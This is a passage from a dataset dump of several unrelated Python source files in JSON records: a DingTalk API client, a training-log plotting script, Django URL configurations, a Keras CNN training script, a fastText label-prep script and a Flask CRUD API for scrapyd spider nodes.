训练完后将参数保存,以便下次能够直接加载模型\n# torch.save(network.state_dict(), './data/net_params.pkl')\n\n","sub_path":"CNN/tensorboard_hyperparameters.py","file_name":"tensorboard_hyperparameters.py","file_ext":"py","file_size_in_byte":3589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"181073045","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2017/11/28 上午9:22\n# @Author : Matrix\n# @Github : https://github.com/blackmatrix7/\n# @Blog : http://www.cnblogs.com/blackmatrix/\n# @File : __init__.py.py\n# @Software: PyCharm\nimport json\nfrom operator import methodcaller\nfrom .foundation import get_timestamp\nfrom .contacts import get_dempartment_list, get_user_list\nfrom .workflow import create_bpms_instance, get_bpms_instance_list\nfrom .authentication import get_access_token, get_jsapi_ticket, sign\nfrom .customers import get_corp_ext_list, add_corp_ext, get_label_groups\n\n__author__ = 'blackmatrix'\n\nno_value = object()\n\nmethods = {}\n\n\ndef dingtalk(method_name):\n def wrapper(func):\n methods.update({method_name: func.__name__})\n\n def _wrapper(*args, **kwargs):\n return func(*args, **kwargs)\n return _wrapper\n return wrapper\n\n\nclass DingTalkApp:\n\n def __init__(self, name, cache, corp_id, corp_secret, agent_id=None):\n self.name = name\n self.cache = cache\n self.corp_id = corp_id\n self.corp_secret = corp_secret\n self.agent_id = agent_id\n\n @property\n def methods(self):\n return methods\n\n def get_access_token(self):\n \"\"\"\n 获取钉钉 access token,access token 7200秒过期\n 在缓存中设置7000秒过期,每次过期会自动重新获取 access token\n :return:\n \"\"\"\n key_name = '{}_access_token'.format(self.name)\n\n @self.cache.cached(key_name, 7000)\n def _get_access_token():\n resp = get_access_token(self.corp_id, self.corp_secret)\n access_token = resp['access_token']\n return access_token\n\n return _get_access_token()\n\n @property\n def access_token(self):\n return self.get_access_token()\n\n def get_jsapi_ticket(self):\n key_name = '{}_jsapi_ticket'.format(self.name)\n\n @self.cache.cached(key_name, 7000)\n def _get_jsapi_ticket():\n resp = get_jsapi_ticket(self.access_token)\n ticket = resp['ticket']\n return ticket\n\n return _get_jsapi_ticket()\n\n @property\n def jsapi_ticket(self):\n return self.get_jsapi_ticket()\n\n @staticmethod\n def sign(ticket, nonce_str, time_stamp, url):\n \"\"\"\n 计算签名信息\n :param ticket:\n :param nonce_str:\n :param time_stamp:\n :param url:\n :return:\n \"\"\"\n return sign(ticket, nonce_str, time_stamp, url)\n\n @property\n def timestamp(self):\n return get_timestamp()\n\n def run(self, method_name, *args, **kwargs):\n \"\"\"\n 传入方法名和参数,直接调用指定的钉钉接口,参数只需要传入钉钉的请求参数部分;\n 不需要传入钉钉的公共参数部分,公共参数会自动补完。\n 例如,需要调用\"获取外部联系人标签\"的接口,伪代码:\n app = DingTalkApp(.....)\n app.run('dingtalk.corp.ext.listlabelgroups', size=20, offset=0)\n :param method_name:\n :param args:\n :param kwargs:\n :return:\n \"\"\"\n func_name = methods.get(method_name)\n if func_name is None:\n raise AttributeError('没有找到对应的方法,可能是方法名有误,或SDK暂未实现此方法。')\n f = methodcaller(func_name, *args, **kwargs)\n return f(self)\n\n def get_request_url(self, method, format_='json', v='2.0', simplify='false', partner_id=None):\n url = 'https://eco.taobao.com/router/rest?method={0}&session={1}×tamp={2}&format={3}&v={4}'.format(\n method, self.access_token, self.timestamp, format_, v)\n if format_ == 'json':\n url = '{0}&simplify={1}'.format(url, simplify)\n if partner_id:\n url = '{0}&partner_id={1}'.format(url, partner_id)\n return url\n\n def get_user_list(self, department_id=None):\n data = get_user_list(self.access_token, department_id)\n user_list = data['userlist']\n return user_list\n\n def get_dempartment_list(self, id_=None):\n key_name = '{}_dept_list'.format(self.name)\n\n @self.cache.cached(key_name, 3600)\n def _get_dempartment_list(_id):\n data = get_dempartment_list(self.access_token, _id)\n depart_list = data['department']\n return depart_list\n\n return _get_dempartment_list(_id=id_)\n\n @dingtalk('dingtalk.corp.ext.listlabelgroups')\n def get_label_groups(self, size=20, offset=0):\n \"\"\"\n 获取系统标签\n :param size:\n :param offset:\n :return:\n \"\"\"\n resp = get_label_groups(access_token=self.access_token, size=size, offset=offset)\n data = json.loads(resp['dingtalk_corp_ext_listlabelgroups_response']['result'])\n return data\n\n def get_all_label_groups(self):\n \"\"\"\n 获取全部的外部联系人标签\n :return:\n \"\"\"\n size = 100\n offset = 0\n label_groups = []\n while True:\n # 钉钉接口存在Bug,偏移量已经超出数据数量时,仍会返回数据\n # 对此需要做特殊处理,今后如此Bug被修复,可以简化代码实现\n\n # 返回的数据是否重复\n valid_data = False\n # 获取钉钉的接口数据\n dd_label_groups = self.get_label_groups(size, offset)\n # 对数据进行循环,整理\n for dd_label_group in dd_label_groups:\n for label in dd_label_group['labels']:\n label_group = {'color': dd_label_group['color'],\n 'group': dd_label_group['name'],\n 'name': label['name'],\n 'id': label['id']}\n if label_group not in label_groups:\n label_groups.append(label_group)\n valid_data = True\n # 当已经查询不到有效的新数据时,停止请求接口\n if valid_data is False:\n break\n return label_groups\n\n @dingtalk('dingtalk.corp.ext.list')\n def get_ext_list(self, size=20, offset=0):\n \"\"\"\n 获取外部联系人\n :return:\n \"\"\"\n resp = get_corp_ext_list(self.access_token, size=size, offset=offset)\n result = json.loads(resp['dingtalk_corp_ext_list_response']['result'])\n return result\n\n def get_all_ext_list(self):\n \"\"\"\n 获取全部的外部联系人\n :return:\n \"\"\"\n size = 100\n offset = 0\n dd_customer_list = []\n while True:\n dd_customers = self.get_ext_list(size=size, offset=offset)\n if len(dd_customers) <= 0:\n break\n else:\n dd_customer_list.extend(dd_customers)\n offset += size\n return dd_customer_list\n\n @dingtalk('dingtalk.corp.ext.add')\n def add_corp_ext(self, contact):\n \"\"\"\n 获取外部联系人\n :return:\n \"\"\"\n resp = add_corp_ext(self.access_token, contact)\n return resp\n\n @dingtalk('dingtalk.smartwork.bpms.processinstance.create')\n def create_bpms_instance(self, process_code, originator_user_id, dept_id, approvers, form_component_values, agent_id=None):\n \"\"\"\n 发起审批实例\n :param process_code:\n :param originator_user_id:\n :param dept_id:\n :param approvers:\n :param form_component_values:\n :param agent_id:\n :return:\n \"\"\"\n agent_id = agent_id or self.agent_id\n resp = create_bpms_instance(self.access_token, process_code, originator_user_id,\n dept_id, approvers, form_component_values, agent_id)\n return resp\n\n @dingtalk('dingtalk.smartwork.bpms.processinstance.list')\n def get_bpms_instance_list(self, process_code, start_time, end_time=None, size=10, cursor=0):\n resp = get_bpms_instance_list(self.access_token, process_code, start_time, end_time, size, cursor)\n return resp\n\nif __name__ == '__main__':\n pass\n","sub_path":"dingtalk/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":8174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"149351542","text":"import matplotlib.pyplot as mlp\r\nfrom matplotlib.ticker import MultipleLocator\r\n\r\n\r\ndef read_log(file_log): # 做了个接口函数把txt里的东西读到列表里去\r\n iter_list = []\r\n loss_list = []\r\n acc_list = []\r\n count = 0\r\n while True:\r\n line = file_log.readline()\r\n if line == '':\r\n break\r\n else:\r\n if count % 1 == 0:\r\n line.strip('\\n')\r\n line.replace('|', ' ')\r\n list_line = line.split()\r\n iter_list.append(float(list_line[1]))\r\n loss_list.append(float(list_line[3]))\r\n acc_list.append(float(list_line[6][:-1]))\r\n count += 1\r\n return iter_list, loss_list, acc_list\r\n\r\n\r\ndef extend(alist):\r\n blist = []\r\n j = 0\r\n while True:\r\n if j < len(alist):\r\n for i in range(391):\r\n blist.append(alist[j])\r\n j += 1\r\n else:\r\n break\r\n return blist\r\n\r\n\r\ndef read_acc(file_acc):\r\n accc = []\r\n while True:\r\n line = file_acc.readline()\r\n if line == '':\r\n break\r\n else:\r\n accc.append(float(line[20:26]))\r\n return accc\r\n\r\n\r\ndef draw_lfc(a, b, i):\r\n MET = ['cutout', 'cutmix', 'mixup']\r\n it_list, lo_list, ac_list = read_log(a)\r\n fig = mlp.figure()\r\n draw1 = fig.add_subplot(111)\r\n mlp.title('data augmentation = {}'.format(MET[i]), fontsize=15)\r\n ax1 = draw1.plot(it_list, lo_list, label='Loss function', color='red',\r\n linestyle='-') # 画 loss function\r\n draw1.set_ylabel('Loss function')\r\n draw2 = draw1.twinx()\r\n ax2 = draw2.plot(it_list, ac_list, label='Training Accuracy', color='blue',\r\n linestyle='-') # 画 accuracy\r\n draw2.set_ylabel('Accuracy(%)')\r\n ax = mlp.gca()\r\n x_major_locator = MultipleLocator(10)\r\n ax.yaxis.set_major_locator(x_major_locator)\r\n draw2.set_ylim([5, 105])\r\n\r\n draw3 = draw1.twinx()\r\n accc_list = read_acc(b)\r\n acck = extend(accc_list)\r\n ax3 = draw3.plot(it_list, acck, color='purple', linestyle='-',\r\n label='Test Accuracy')\r\n x_major_locator = MultipleLocator(10)\r\n ax = mlp.gca()\r\n ax.yaxis.set_major_locator(x_major_locator)\r\n draw3.set_ylim([5, 105])\r\n\r\n lns = ax1 + ax2 + ax3\r\n labs = [l.get_label() for l in lns]\r\n ax.legend(lns, labs, loc='right') # 合并图例\r\n\r\n mlp.show()\r\n\r\n\r\ndef main():\r\n MET = ['cutout','cutmix','mixup']\r\n for i in range(3):\r\n f = open('./{}/log{}.txt'.format(MET[i],MET[i]), 'r')\r\n f2 = open('./{}/acc{}.txt'.format(MET[i],MET[i]), 'r')\r\n draw_lfc(f, f2, i)\r\n f.close()\r\n\r\n\r\nmain()","sub_path":"draw.py","file_name":"draw.py","file_ext":"py","file_size_in_byte":2688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"467082351","text":"from django.conf.urls import url\nfrom django.contrib import admin\nfrom django.db.utils import ProgrammingError, OperationalError\nfrom django.views.generic import RedirectView\n\nfrom contactmessages.views import ContactMessageView\nfrom contactmessages.views import PersonalanfrageView\nfrom core.views import SearchAndMenuTemplateView as TemplateView, SitemapView\nfrom datenweitergabe.views import ConfirmationCreateView\n\nfrom jobs.views import (\n JobDetailView,\n JobInternListView,\n JobSearchListView,\n RSSFeed,\n HomeView,\n OutlineView,\n)\n\nfrom jobs.views import LegacyJobDetailRedirectView\n\nfrom job_applications.views import (\n JobApplicationCreateView,\n InitiativApplicationCreateView,\n)\nfrom ansprechpartner.views import AnsprechpartnerView, karriereberatung\nfrom berufsfelder.views import BerufsfelderView\nfrom kompetenzbereiche.views import KompetenzbereicheView\nfrom returncall.views import ReturnCallCreateView\nfrom vorteile.views import VorteileView\nfrom standorte.views import StandorteView\nfrom referenzen.views import ReferenzenView, ReferenzenBlingView\nfrom pages.models import Page\nfrom pages.views import PageView\nfrom core.utils import fix_stellenmarkt_links\nfrom unsubscribe_mail.views import UnsubriptionCreateView\n\n\nurlpatterns = [\n url(\n r'^admin/',\n admin.site.urls,\n ),\n\n url(r\"^jobs/$\",\n JobSearchListView.as_view(\n active_nodes={\"top\": \"bewerber\", \"left\": \"stellenmarkt\"},\n ),\n name=\"stellenmarkt\"\n ),\n\n url(r\"^jobs/(?P\\d+)_(?P.*)/bewerben/$\",\n JobApplicationCreateView.as_view(\n active_nodes={\"top\": \"bewerber\", \"left\": \"stellenmarkt\"},\n ),\n name=\"apply_now\"\n ),\n\n url(r\"^initiatvbewerben/$\",\n InitiativApplicationCreateView.as_view(\n active_nodes={\"top\": \"bewerber\", \"left\": \"stellenmarkt\"},\n ),\n name=\"initiativ\"\n ),\n\n url(r\"^jobs/(?P\\d+)_(?P.*)$\",\n JobDetailView.as_view(\n active_nodes={\"top\": \"bewerber\", \"left\": \"stellenmarkt\"},\n ),\n name=\"job_detail\"\n ),\n\n # legacy:\n url(r\"^stellenmarkt\", RedirectView.as_view(pattern_name=\"stellenmarkt\")),\n url(r\"^jobs\", RedirectView.as_view(pattern_name=\"stellenmarkt\")),\n url(r\"^[jJ]obs/(stellenmarkt-)?(?P\\d+)_(?P.*)$\",\n LegacyJobDetailRedirectView.as_view(),\n ),\n\n url(\n r\"^ansprechpartner/(:?(?P\\w+)/)?(?P\\w+)$\",\n AnsprechpartnerView.as_view(\n ),\n name=\"ansprechpartner\",\n ),\n\n url(\n r\"^berufsfelder/(?P\\w+)$\",\n BerufsfelderView.as_view(\n ),\n name=\"berufsfelder\",\n ),\n\n url(\n r\"^kompetenzbereiche/(?P\\w+)$\",\n KompetenzbereicheView.as_view(\n ),\n name=\"kompetenzbereiche\"\n ),\n\n url(\n r\"^vorteile/(?P\\w+)$\",\n VorteileView.as_view(\n ),\n name=\"vorteile\",\n ),\n\n url(\n r\"^kontakt$\",\n ContactMessageView.as_view(\n active_nodes={\"top\": \"unternehmensprofil\", \"left\": \"kontakt\"},\n ),\n name=\"kontakt\",\n ),\n\n url(r\"^sitemap$\",\n SitemapView.as_view(\n active_nodes={\"top\": \"home\", \"left\": \"unternehmensprofil\"},\n template_name=\"web/pages/sitemap.html\",\n ),\n name=\"sitemap\",\n ),\n\n url(\n r\"^Jobs/Jobs.xml$\",\n RSSFeed(),\n name=\"jobs_rss\",\n ),\n\n url(\n r\"^referenzen/(?P\\w+)/aktuell$\",\n ReferenzenBlingView.as_view(\n ),\n name=\"referenzen_aktuell\",\n ),\n\n url(\n r\"^referenzen/(?P\\w+)$\",\n ReferenzenView.as_view(\n ),\n name=\"referenzen\",\n ),\n\n url(\n r\"^standorte$\",\n StandorteView.as_view(\n active_nodes={\"top\": \"unternehmensprofil\", \"left\": \"standorte\"},\n template_name=\"web/pages/standorte.html\",\n ),\n name=\"standorte\",\n ),\n url(\n r\"^personalanfrage$\",\n PersonalanfrageView.as_view(\n active_nodes={\"top\": \"unternehmen\", \"left\": \"personalanfrage\"},\n template_name=\"web/pages/personalanfrage.html\",\n ),\n name=\"personalanfrage\",\n ),\n\n url(\n r\"^karriere_activjob$\",\n JobInternListView.as_view(\n active_nodes={\"top\": \"bewerber\", \"left\": \"karriere_activjob\"},\n ),\n name=\"karriere_activjob\",\n ),\n url(\n r\"^karriereberatung$\",\n karriereberatung,\n name=\"karriereberatung\"\n ),\n\n url(\n r\"^impressum$\",\n TemplateView.as_view(\n template_name=\"web/pages/impressum.html\",\n active_nodes={\"top\": \"kontakt\"},\n ),\n name=\"impressum\"\n ),\n\n url(\n r\"^termin/$\",\n TemplateView.as_view(\n template_name=\"web/pages/termin.html\",\n active_nodes={\"top\": \"kontakt\"},\n ),\n name=\"termin\"\n ),\n\n url(\n r\"^kundenportal/anmelden/$\",\n ContactMessageView.as_view(\n active_nodes={\"top\": \"unternehmensprofil\", \"left\": \"kontakt\"},\n ),\n ),\n\n url(\n \tr\"^$\",\n HomeView.as_view(\n active_nodes={\"top\": \"home\"},\n ),\n name=\"home\",\n ),\n\n url(\n r\"^datenweitergabe/(?P[0-9a-f]{40})$\",\n ConfirmationCreateView.as_view(),\n name=\"datenweitergabe\"\n ),\n\n url(\n r\"^unsubscribe/(?P[0-9a-f]{16,40})$\",\n UnsubriptionCreateView.as_view(),\n name=\"unsubscribe\"\n ),\n\n url(\n r\"^returncall/$\",\n ReturnCallCreateView.as_view(\n active_nodes={\"top\": \"unternehmensprofil\", \"left\": \"kontakt\"},\n ),\n name=\"returncall\"\n ),\n\n url(\n r\"^praemie-sucht-partner/$\",\n TemplateView.as_view(\n template_name=\"web/pages/praemie-sucht-partner.html\",\n active_nodes={\"top\": \"bewerber\"},\n ),\n name=\"praemie-sucht-partner\"\n ),\n\n url(\n r\"^images/outline_germany.svg$\",\n OutlineView.as_view(\n ),\n name=\"outline.svg\"\n ),\n\n url(\n r\"(?P\\w+)$\",\n PageView.as_view(),\n name=\"page\",\n ),\n]\n\ntry:\n pages = list(Page.objects.all())\nexcept (OperationalError, ProgrammingError) as e:\n error_messages = [\n 'relation \"pages_page\" does not exist',\n 'no such table: pages_page',\n ]\n if all(err not in str(e) for err in error_messages):\n raise\n\n msg = (\"== skipping call to Pages.objects.all() \"\n \"because we’re migrating or something ==\")\n print(msg)\nelse:\n urlpatterns += [\n url(\n r\"^{}$\".format(page.slug),\n TemplateView,\n name=page.slug,\n ) for page in pages\n if page.slug not in (\n pattern.name\n for pattern in urlpatterns\n if hasattr(pattern, \"name\")\n )\n ]\n\nfix_stellenmarkt_links()\n\n\n# setting this calls the view but sends status 200 instead of 404\n# TODO: find out how to fix this\nhandler404 = \"core.views.handler404\"\n","sub_path":"activejob/activejob/activejob/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":7064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"649158235","text":"from . import views\nfrom django.urls import path\n\n\n\napp_name = 'villageapp'\n\nurlpatterns = [\n\t path('',views.index,name='index'),\n\t path('register_panchayath/',views.register_panchayath,name='register_panchayath'),\n\t path('register_employees/',views. register_employees,name='register_employees'),\n path('register_enduser/',views. register_enduser,name='register_enduser'),\n\t path('register_Leaveapplication/',views. register_Leaveapplication,name='register_Leaveapplication'),\n path('register_Complaint/',views. register_Complaint,name='register_Complaint'),\n\t path('register_News/',views. register_News,name='register_News'),\n\t path('register_Salary/',views. register_Salary,name='register_Salary')\n\n \n]","sub_path":"village/villageapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"578266645","text":"#coding:utf-8\nfrom __future__ import print_function\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.models import Sequential, Model\nfrom keras.layers import merge, Input\nfrom keras.layers.core import Dense, Dropout, Activation, Flatten\nfrom keras.layers.convolutional import Conv2D, MaxPooling2D\nfrom keras.optimizers import SGD, Adadelta, Adagrad\nfrom keras.utils import np_utils, generic_utils\nfrom six.moves import range\n\n\n'''From given 3D_CNN folder load data'''\n# import sys for load data\nimport sys\n# *** linux\nsys.path.append('/home/assassinator/Exp/Convolutional Neural Network/Myself/3D_CNN/')\n# get Epoches\nfrom load_data import All_Epoch, Batch_LoadData\nAllEpochs, DataPath = All_Epoch()\nEp_Nums = len(AllEpochs)\n\ninput_shape = (180, 240, 7)\n\n########################################################\n# 开始建立CNN模型\n# Construct Merged Model : merge the R & G & B \n########################################################\n\n'''Created Shared Weight Layer'''\ndef SharedLayer(input_dims):\n pass\n Shared = Sequential()\n # input : kernel size(7, 7)\n # Conv1 : conv the R & G & B with shared layer\n # the result size is : 174, 234, nums is 3 * 4\n # 1. Shared.add(Conv2D(4,(7, 7), padding='valid', input_shape=input_dims))\n # TODO : 3-29\n Shared.add(Conv2D(7, (7, 7), padding='valid', input_shape=input_dims)) \n Shared.add(Activation('relu'))\n # DownSampling : \n # the result size is 58, 78, nums is 3 * 4\n Shared.add(MaxPooling2D(pool_size=(3,3)))\n Shared.add(Dropout(0.2))\n \n # Conv2 : conv the merged tensor with kernel(5, 7)\n # the result size is: 54, 72, nums is 3 * 4 * 4\n # 1. Shared.add(Conv2D(4, (5, 7)))\n # TODO : 3-29\n Shared.add(Conv2D(6, (5, 7)))\n Shared.add(Activation('relu'))\n # DownSampling : \n # the result size is 18, 24, nums is 3 * 4 * 4\n Shared.add(MaxPooling2D(pool_size=(3,3)))\n Shared.add(Dropout(0.2))\n\n # Conv3 : con the tensor with kernel(4, 5)\n # the result size is 15, 21, nums is 3 * 4 * 4 * 3\n # 1. Shared.add(Conv2D(3, (4, 4)))\n # TODO : 3-29\n Shared.add(Conv2D(5, (4, 4)))\n Shared.add(Activation('relu'))\n # DownSampling : \n # the result size is 5, 7, nums is 3 * 4 * 4 * 3\n Shared.add(MaxPooling2D(pool_size=(3,3)))\n Shared.add(Dropout(0.2))\n\n # Conv4 : conv the tensor with kernel\n # the resul size is 1, 1, nums is 3 * 4 * 4 * 3 * 2\n # 1. Shared.add(Conv2D(2, (5, 7)))\n # TODO : 3-29\n Shared.add(Conv2D(3, (5, 7)))\n Shared.add(Activation('relu'))\n Shared.add(Dropout(0.2))\n\n # Flat\n Shared.add(Flatten())\n Shared.add(Dense(128))\n Shared.add(Activation('relu'))\n Shared.add(Dropout(0.2))\n\n # return shared layer\n return Shared\n\ndef Create3DCNN(input_shape):\n pass\n BaseLayer = SharedLayer(input_shape)\n \n # first Input layer\n R_Input = Input(shape=(input_shape))\n G_Input = Input(shape=(input_shape))\n B_Input = Input(shape=(input_shape))\n \n # Conv1 : conv the R & G & B with shared layer\n # the result size is : 174, 234, nums is 3 * 4\n R_out = BaseLayer(R_Input)\n G_out = BaseLayer(G_Input)\n B_out = BaseLayer(B_Input)\n ## ************************************************************************\n ## Merge\n ## Merged = Merge([R_out, G_out, B_out], mode='concat')\n ## X = merge([R_out, G_out, B_out], mode='concat')\n ## X_out = MaxPooling2D(pool_size=(3,3))\n ## model = Model(X, X_out)\n ## model = Sequential()\n ## model.add(Merged)\n \n ## DownSampling : \n ## the result size is 58, 78, nums is 3 * 4\n ## model.add(MaxPooling2D(pool_size=(3,3)))\n ## model.add(Dropout(0.2))\n\n ## Conv2 : conv the merged tensor with kernel(8, 8)\n ## the result size is: 54, 72, nums is 3 * 4 * 4\n ## model.add(Conv2D(4, (5, 7)))\n ## model.add(Activation('relu'))\n \n ## DownSampling : \n ## the result size is 18, 24, nums is 3 * 4 * 4\n ## model.add(MaxPooling2D(pool_size=(3,3)))\n ## model.add(Dropout(0.2))\n ## Conv3 : con the tensor with kernel(4, 5)\n ## the result size is 15, 21, nums is 3 * 4 * 4 * 3\n ## model.add(Conv2D(3, (4, 4)))\n ## model.add(Activation('relu'))\n\n ## DownSampling : \n ## the result size is 5, 7, nums is 3 * 4 * 4 * 3\n ## model.add(MaxPooling2D(pool_size=(3,3)))\n ## model.add(Dropout(0.2))\n\n ## Conv4 : conv the tensor with kernel\n ## the resul size is 1, 1, nums is 3 * 4 * 4 * 3 * 2\n ## model.add(Conv2D(2, (5, 7)))\n ## model.add(Activation('relu'))\n ## model.add(Dropout(0.2))\n ## Flat\n ## model.add(Flatten())\n ## model.add(Dense(128))\n ## model.add(Activation('relu'))\n ## model.add(Dropout(0.2))\n # *******************************************************************************\n # final : softmax -- 10\n X = merge([R_out, G_out, B_out], mode='concat')\n OutPut = Dense(10, activation='softmax')(X)\n # OutPut = Dense(10, activation='softmax')([R_out, G_out, B_out])\n model = Model([R_Input, G_Input, B_Input], OutPut)\n\n return model\n\n# Processing\nmodel = Create3DCNN(input_shape)\n# Ep_Nums\nfor i in range(Ep_Nums):\n pass\n print (\"(%d): Processing................................................................\"% (i+1))\n data_out, store_data_label = Batch_LoadData(DataPath, AllEpochs[i])\n store_data_label = np_utils.to_categorical(store_data_label, 10)\n # the first processing to create the model\n model.compile(loss='categorical_crossentropy', optimizer='adadelta', metrics=['accuracy'])\n model.fit([data_out[\"R\"] / 255, data_out[\"G\"] / 255, data_out[\"B\"] / 255], store_data_label, batch_size=100, epochs=10, verbose=1) \n'''Validation on test'''\n# test data\ntestPath = '/home/assassinator/Exp/Convolutional Neural Network/MySelf/3D_CNN/Data'\ntest, test_label = Batch_LoadData(testPath, '/test/')\ntest_label = np_utils.to_categorical(test_label, 10)\n# final validation\nprint (\"Validation : .........................................................................\")\nscore = model.evaluate([test[\"R\"]/ 255, test[\"G\"] / 255, test[\"B\"] / 255], test_label, batch_size=100, verbose=0)\nprint (\"score : %f\"% score[0])\nprint (\"score : %f\"% score[1])\n\n","sub_path":"Code/CubeCNN.py","file_name":"CubeCNN.py","file_ext":"py","file_size_in_byte":6259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"176464705","text":"# -*-coding:utf-8 -*-\nimport codecs\nimport jieba\nimport pandas as pd\nimport csv\n\n\ndef create_with_label(create_file_name):\n train_data = pd.read_csv('../../data/corpus/output/train_data.csv', usecols=['content','penalty'])\n wf = codecs.open('../../data/corpus/output/'+create_file_name+'.csv', 'w')\n cnt = 0\n for row in train_data.values:\n cnt += 1\n print(cnt)\n #print(row[1])\n wf.write('__label__'+str(row[1]) + '\\t' + str(row[0])+'\\n')\n wf.close()\n print('create labeled w2v done!')\n\n\nif __name__ == '__main__':\n create_with_label('train_data_with_label')\n","sub_path":"src/prep/pre_add_label.py","file_name":"pre_add_label.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"290078848","text":"# coding:utf-8\n\nimport requests\n\nfrom flask import jsonify, json, request\nfrom flask_jwt_extended import jwt_required\n\nfrom common.SpiderUtils import scrapyd_url\nfrom common.FormatStr import dictRemoveNone\nfrom common.Log import queryLog, addLog, deleteLog, updateLog\nfrom common.OperationOfDB import conditionDataListFind, findById, deleteById, insertToSQL, updataById\nfrom common.ReturnMessage import returnMsg, returnErrorMsg, returnErrorMsg,errorCode\nfrom models.Boss.SpiderNode import SpiderNode, tableChangeDic\nfrom version.v3.bossConfig import app\n\n\n# 获取节点列表\n@app.route(\"/findSpiderNodeByCondition\", methods=[\"POST\"])\n# @jwt_required\n# @queryLog('spider_node')\ndef findSpiderNodeBycondition():\n jsonData = request.get_data()\n dataDict = json.loads(jsonData)\n if dataDict.get('condition', None) == None:\n resultDict = returnErrorMsg(errorCode[\"param_error\"])\n return jsonify(resultDict)\n tablename = SpiderNode.__tablename__\n intColumnClinetNameList = [u'node_id', u'nodePort', u'nodeStatus', u'deployStatus']\n tableList, count = conditionDataListFind(dataDict, tableChangeDic, intColumnClinetNameList, tablename)\n if tableList:\n InfoList = []\n for tableData in tableList:\n infoDict = {\"id\":tableData[0],\n \"nodeMing\":tableData[1],\n \"description\":tableData[2],\n \"nodeIp\":tableData[3],\n \"nodePort\":tableData[4],\n \"nodeStatus\":tableData[5],\n \"projectName\":tableData[6],\n \"deployStatus\":tableData[7],\n \"nodeIpPort\":str(tableData[3]) + ':' +str(tableData[4])\n }\n infoDict = dictRemoveNone(infoDict)\n InfoList.append(infoDict)\n resultDict = returnMsg(InfoList)\n resultDict[\"total\"] = count\n else:\n resultDict = returnErrorMsg()\n return jsonify(resultDict)\n\n\n# 获取节点详情\n@app.route(\"/getSpiderNodeDetail\", methods=[\"POST\"])\n# @jwt_required\n# @queryLog('spider_node')\ndef getSpiderNodeDetail():\n jsonData = request.get_data()\n dataDict = json.loads(jsonData)\n id = dataDict.get(\"nodeId\", [])\n if not id:\n resultDict = returnErrorMsg(errorCode[\"param_error\"])\n return jsonify(resultDict)\n\n table = findById(SpiderNode, \"node_id\", id)\n if not table:\n resultDict = returnMsg(\"not find table\")\n return jsonify(resultDict)\n infoDict = {\"node_id\":table.node_id,\n \"nodeMing\":table.node_name,\n \"description\":table.description,\n \"nodeIp\":table.node_ip,\n \"nodePort\":table.node_port,\n \"nodeStatus\":table.node_status,\n \"projectName\":table.project_name,\n \"deployStatus\":table.deploy_status,}\n infoDict = dictRemoveNone(infoDict)\n resultDict = returnMsg(infoDict)\n return jsonify(resultDict)\n\n\n# 删除节点\n@app.route(\"/deleteSpiderNode\", methods=[\"POST\"])\n# @jwt_required\n# @deleteLog('spider_node')\ndef deleteSpiderNode():\n jsonData = request.get_data()\n dataDict = json.loads(jsonData)\n ids = dataDict.get(\"idArray\", [])\n if not ids:\n resultDict = returnErrorMsg(errorCode[\"param_error\"])\n return jsonify(resultDict)\n table = deleteById(SpiderNode, ids, \"node_id\")\n if table:\n resultDict = returnMsg({})\n return jsonify(resultDict)\n else:\n resultDict = returnErrorMsg(errorCode[\"param_error\"])\n return jsonify(resultDict)\n\n\n# 添加节点\n@app.route(\"/addSpiderNode\", methods=[\"POST\"])\n# @jwt_required\n# @addLog('spider_node')\ndef addSpiderNode():\n jsonData = request.get_data()\n dataDict = json.loads(jsonData)\n columsStr = (dataDict.get(\"nodeMing\", None),dataDict.get(\"description\", None),dataDict.get(\"nodeIp\", None),\n dataDict.get(\"nodePort\", None),dataDict.get(\"nodeStatus\", 1),dataDict.get(\"projectName\", None),\n dataDict.get(\"deployStatus\", 0))\n table = insertToSQL(SpiderNode, *columsStr)\n if not table:\n resultDict = returnErrorMsg(errorCode[\"system_error\"])\n return jsonify(resultDict)\n resultDict = returnMsg({})\n return jsonify(resultDict)\n\n\n# 更新节点\n@app.route(\"/updataSpiderNode\", methods=[\"POST\"])\n# @jwt_required\n# @updateLog('spider_node')\ndef updataSpiderNode():\n jsonData = request.get_data()\n dataDict = json.loads(jsonData)\n id = dataDict.get(\"nodeId\", \"\")\n if not id:\n resultDict = returnErrorMsg(errorCode[\"param_error\"])\n return jsonify(resultDict)\n intColumnClinetNameList = [u'nodeId', u'nodePort', u'nodeStatus', u'deployStatus']\n table = updataById(SpiderNode, dataDict, \"node_id\", id, tableChangeDic, intColumnClinetNameList)\n\n if table:\n resultDict = returnMsg({})\n return jsonify(resultDict)\n else:\n resultDict = returnErrorMsg(errorCode[\"system_error\"])\n return jsonify(resultDict)\n\n\n\n# 获取节点状态\n@app.route(\"/getSpiderNodeStatus\", methods=[\"POST\"])\n# @jwt_required\n# @queryLog('spider_node')\ndef getSpiderNodeStatus():\n jsonData = request.get_data()\n dataDict = json.loads(jsonData)\n id = dataDict.get(\"nodeId\", [])\n if not id:\n resultDict = returnErrorMsg(errorCode[\"param_error\"])\n return jsonify(resultDict)\n table = findById(SpiderNode, \"node_id\", id)\n if not table:\n resultDict = returnErrorMsg(errorCode[\"param_error\"])\n return jsonify(resultDict)\n infoDict = {\"nodeIp\":table.node_ip,\n \"nodePort\":table.node_port,\n }\n try:\n result = requests.get(scrapyd_url(infoDict.get(\"nodeIp\"),infoDict.get(\"nodePort\")),timeout=3)\n httpCode = result.status_code\n return jsonify(returnMsg({'httpCode': httpCode}))\n except:\n resultDict = returnErrorMsg({'httpCode': 500})\n return 